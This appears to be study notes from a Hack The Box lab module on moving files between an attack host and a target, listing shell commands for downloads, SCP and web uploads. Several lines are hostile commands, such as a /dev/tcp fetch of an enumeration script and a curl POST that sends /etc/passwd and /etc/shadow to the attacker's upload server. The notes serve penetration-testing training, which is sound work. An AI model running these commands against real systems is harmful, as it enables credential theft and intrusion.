

File Transfers Page 1

## Connect to the Target Webserver

```
❑ Djerbien@htb[/htb]$ exec 3<>/dev/tcp/10.10.10.32/80
```

## HTTP GET REQUEST

```
❑ Djerbien@htb[/htb]$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
```

## PRINT THE RESPONSE

```
❑ Djerbien@htb[/htb]$ cat <&3
```

# SSH Downloads

## Enabling the SSH Server

```
❑ Djerbien@htb[/htb]$ sudo systemctl enable ssh
```

Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.  
Executing: /lib/systemd/systemd-sysv-install enable ssh  
Use of uninitialized value \$service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45  
...SNIP...

## Starting the SSH Server

```
❑ Djerbien@htb[/htb]$ sudo systemctl start ssh
```

## Linux - Downloading Files Using SCP

```
❑ Djerbien@htb[/htb]$ scp plaintext@192.168.49.128:/root/myroot.txt .
```

### Note :

You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.

Upload

# Web Upload

## Pwnbox - Install uploadserver

```
❑ $ sudo python3 -m pip install uploadserver
```

```
❑ $ sudo /root/.local/bin/uploadserver 443 --server-certificate ../server.pem
```

Now we need to create a certificate. In this example, we are using a self-signed certificate.

## Pwnbox - Create a Self-Signed Certificate

```
❑ $ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj  
'/CN=server'
```

The webserver should not host the certificate. We recommend creating a new directory to host the file for our webserver.

## Pwnbox - Start uploadserver

```
❑ Djerbien@htb[/htb]$ mkdir https && cd https
```

```
❑ Djerbien@htb[/htb]$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
```

## Linux - Upload Multiple Files

```
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F  
'files=@/etc/shadow' --insecure
```

We used the option `--insecure` because we used a self-signed certificate that we trust. With get use `--no-check-certificate`

## Alternative Web File Transfer Method

### Linux - Creating a Web Server with Python3

```
$ python3 -m http.server
```

### Linux - Creating a Web Server with Python2.7

```
$ python2.7 -m SimpleHTTPServer
```

### Linux - Creating a Web Server with PHP

```
$ php -S 0.0.0.0:8000
```

### Linux - Creating a Web Server with Ruby

```
$ ruby -run -ehttpd . -p8000
```

### Download the File from the Target Machine onto the Pwnbox

```
$ wget 192.168.49.128:8000/filetotransfer.txt
```

**Note:** When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file.

## SCP Upload

### File Upload using SCP

```
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
```

